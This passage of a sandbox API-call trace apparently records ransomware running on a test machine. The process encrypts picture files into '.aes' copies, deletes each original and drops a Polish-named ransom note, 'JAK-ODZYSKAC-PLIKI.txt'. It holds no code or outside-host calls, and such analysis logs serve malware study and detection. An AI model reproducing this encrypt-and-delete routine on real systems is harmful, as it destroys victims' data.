ftLastAccessTime.dwLowDateTime=0xece86240, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xece86240, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0086.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0086.721] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0086.765] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\btMvVnX CFKn1XV99U44.gif", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\btMvVnX CFKn1XV99U44.gif", lpFilePart=0x0) returned 0x52 [0086.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0086.765] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\btMvVnX CFKn1XV99U44.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\btmvvnx cfkn1xv99u44.gif"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5d90, ftCreationTime.dwHighDateTime=0x1d2ff79, ftLastAccessTime.dwLowDateTime=0xd517ab20, ftLastAccessTime.dwHighDateTime=0x1d2f861, ftLastWriteTime.dwLowDateTime=0xd517ab20, ftLastWriteTime.dwHighDateTime=0x1d2f861, nFileSizeHigh=0x0, nFileSizeLow=0x16e86)) returned 1 [0086.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0086.765] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\btMvVnX CFKn1XV99U44.gif", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\btMvVnX CFKn1XV99U44.gif", lpFilePart=0x0) returned 0x52 [0086.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0086.765] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\btMvVnX CFKn1XV99U44.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\btmvvnx cfkn1xv99u44.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0086.765] GetFileType (hFile=0x8e4) returned 0x1 [0086.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0086.765] GetFileType (hFile=0x8e4) returned 0x1 [0086.765] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\btMvVnX CFKn1XV99U44.gif.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\btMvVnX CFKn1XV99U44.gif.aes", lpFilePart=0x0) returned 0x56 [0086.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0086.765] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\btMvVnX CFKn1XV99U44.gif.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\btmvvnx cfkn1xv99u44.gif.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0086.766] GetFileType (hFile=0x540) returned 0x1 [0086.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0086.766] GetFileType (hFile=0x540) returned 0x1 [0086.766] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0086.774] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0086.774] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0086.781] LocalFree (hMem=0x703ef10) returned 0x0 [0086.781] GetAdaptersAddresses () returned 0x6f [0086.785] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0086.785] GetAdaptersAddresses () returned 0x0 [0086.791] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0086.797] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0086.797] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0086.858] LocalFree (hMem=0x6ff2da0) returned 0x0 [0086.858] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0086.864] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0086.864] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0086.871] LocalFree (hMem=0x6ff2da0) returned 0x0 [0086.872] LocalFree (hMem=0x7074460) returned 0x0 [0086.872] GetBestInterfaceEx (in: pDestAddr=0x28a1a94*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0086.947] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\btMvVnX CFKn1XV99U44.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\btmvvnx cfkn1xv99u44.gif")) returned 1 [0086.948] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x54 [0086.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0086.948] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0086.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0086.948] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x8e4) returned 0x0 [0086.948] RegQueryValueExW (in: hKey=0x8e4, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0086.948] RegQueryValueExW (in: hKey=0x8e4, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x287bb0c, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0086.949] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x54 [0086.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0086.949] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x540 [0086.949] GetFileType (hFile=0x540) returned 0x1 [0086.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0086.949] GetFileType (hFile=0x540) returned 0x1 [0086.949] WriteFile (in: hFile=0x540, lpBuffer=0x28887bc*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x28887bc*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0086.949] CloseHandle (hObject=0x540) returned 1 [0086.950] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0087.011] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\c WNWiE5.gif", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\c WNWiE5.gif", lpFilePart=0x0) returned 0x46 [0087.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0087.011] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\c WNWiE5.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\c wnwie5.gif"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63d6800, ftCreationTime.dwHighDateTime=0x1d2f6ca, ftLastAccessTime.dwLowDateTime=0x61207f00, ftLastAccessTime.dwHighDateTime=0x1d30282, ftLastWriteTime.dwLowDateTime=0x61207f00, ftLastWriteTime.dwHighDateTime=0x1d30282, nFileSizeHigh=0x0, nFileSizeLow=0x2d40)) returned 1 [0087.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0087.011] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\c WNWiE5.gif", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\c WNWiE5.gif", lpFilePart=0x0) returned 0x46 [0087.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0087.011] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\c WNWiE5.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\c wnwie5.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0087.011] GetFileType (hFile=0x8dc) returned 0x1 [0087.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0087.012] GetFileType (hFile=0x8dc) returned 0x1 [0087.012] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\c WNWiE5.gif.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\c WNWiE5.gif.aes", lpFilePart=0x0) returned 0x4a [0087.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0087.012] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\c WNWiE5.gif.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\c wnwie5.gif.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0087.012] GetFileType (hFile=0x540) returned 0x1 [0087.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0087.012] GetFileType (hFile=0x540) returned 0x1 [0087.012] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0087.053] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0087.054] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0087.061] LocalFree (hMem=0x703ef10) returned 0x0 [0087.061] GetAdaptersAddresses () returned 0x6f [0087.065] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0087.065] GetAdaptersAddresses () returned 0x0 [0087.070] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0087.077] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0087.077] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0087.083] LocalFree (hMem=0x6ff2da0) returned 0x0 [0087.083] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0087.092] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0087.092] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0087.098] LocalFree (hMem=0x6ff2da0) returned 0x0 [0087.098] LocalFree (hMem=0x7074460) returned 0x0 [0087.098] GetBestInterfaceEx (in: pDestAddr=0x28bd7cc*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0087.163] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\c WNWiE5.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\c wnwie5.gif")) returned 1 [0087.194] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x54 [0087.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0087.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee0868a0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xee0868a0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xee0868a0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0087.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0087.194] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0087.243] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\ZFDojVkI.png", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\ZFDojVkI.png", lpFilePart=0x0) returned 0x46 [0087.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0087.244] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\ZFDojVkI.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\zfdojvki.png"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f24810, ftCreationTime.dwHighDateTime=0x1d2fb9e, ftLastAccessTime.dwLowDateTime=0x7d8a65c0, ftLastAccessTime.dwHighDateTime=0x1d2fd87, ftLastWriteTime.dwLowDateTime=0x7d8a65c0, ftLastWriteTime.dwHighDateTime=0x1d2fd87, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3)) returned 1 [0087.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0087.244] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\ZFDojVkI.png", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\ZFDojVkI.png", lpFilePart=0x0) returned 0x46 [0087.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0087.244] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\ZFDojVkI.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\zfdojvki.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0087.244] GetFileType (hFile=0x8dc) returned 0x1 [0087.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0087.244] GetFileType (hFile=0x8dc) returned 0x1 [0087.244] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\ZFDojVkI.png.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\ZFDojVkI.png.aes", lpFilePart=0x0) returned 0x4a [0087.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0087.244] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\ZFDojVkI.png.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\zfdojvki.png.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0087.244] GetFileType (hFile=0x540) returned 0x1 [0087.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0087.244] GetFileType (hFile=0x540) returned 0x1 [0087.245] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0087.252] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0087.253] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0087.259] LocalFree (hMem=0x703ef10) returned 0x0 [0087.259] GetAdaptersAddresses () returned 0x6f [0087.264] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0087.264] GetAdaptersAddresses () returned 0x0 [0087.269] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0087.275] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0087.275] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0087.334] LocalFree (hMem=0x6ff2da0) returned 0x0 [0087.334] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0087.341] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0087.341] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0087.347] LocalFree (hMem=0x6ff2da0) returned 0x0 [0087.347] LocalFree (hMem=0x7074460) returned 0x0 [0087.347] GetBestInterfaceEx (in: pDestAddr=0x28da82c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0087.415] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\ZFDojVkI.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\zfdojvki.png")) returned 1 [0087.416] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x54 [0087.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0087.417] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\vuewIfEOk\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\vuewifeok\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee0868a0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xee0868a0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xee0868a0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0087.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0087.417] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0087.480] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\-4w-q4wd1z.bmp", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\-4w-q4wd1z.bmp", lpFilePart=0x0) returned 0x43 [0087.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0087.480] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\-4w-q4wd1z.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\-4w-q4wd1z.bmp"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58e5490, ftCreationTime.dwHighDateTime=0x1d2f919, ftLastAccessTime.dwLowDateTime=0xa2d3fec0, ftLastAccessTime.dwHighDateTime=0x1d305b8, ftLastWriteTime.dwLowDateTime=0xa2d3fec0, ftLastWriteTime.dwHighDateTime=0x1d305b8, nFileSizeHigh=0x0, nFileSizeLow=0xa694)) returned 1 [0087.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0087.480] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\-4w-q4wd1z.bmp", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\-4w-q4wd1z.bmp", lpFilePart=0x0) returned 0x43 [0087.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0087.480] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\-4w-q4wd1z.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\-4w-q4wd1z.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0087.480] GetFileType (hFile=0x8dc) returned 0x1 [0087.480] SetThreadErrorMode (dwNewMode=0x0, 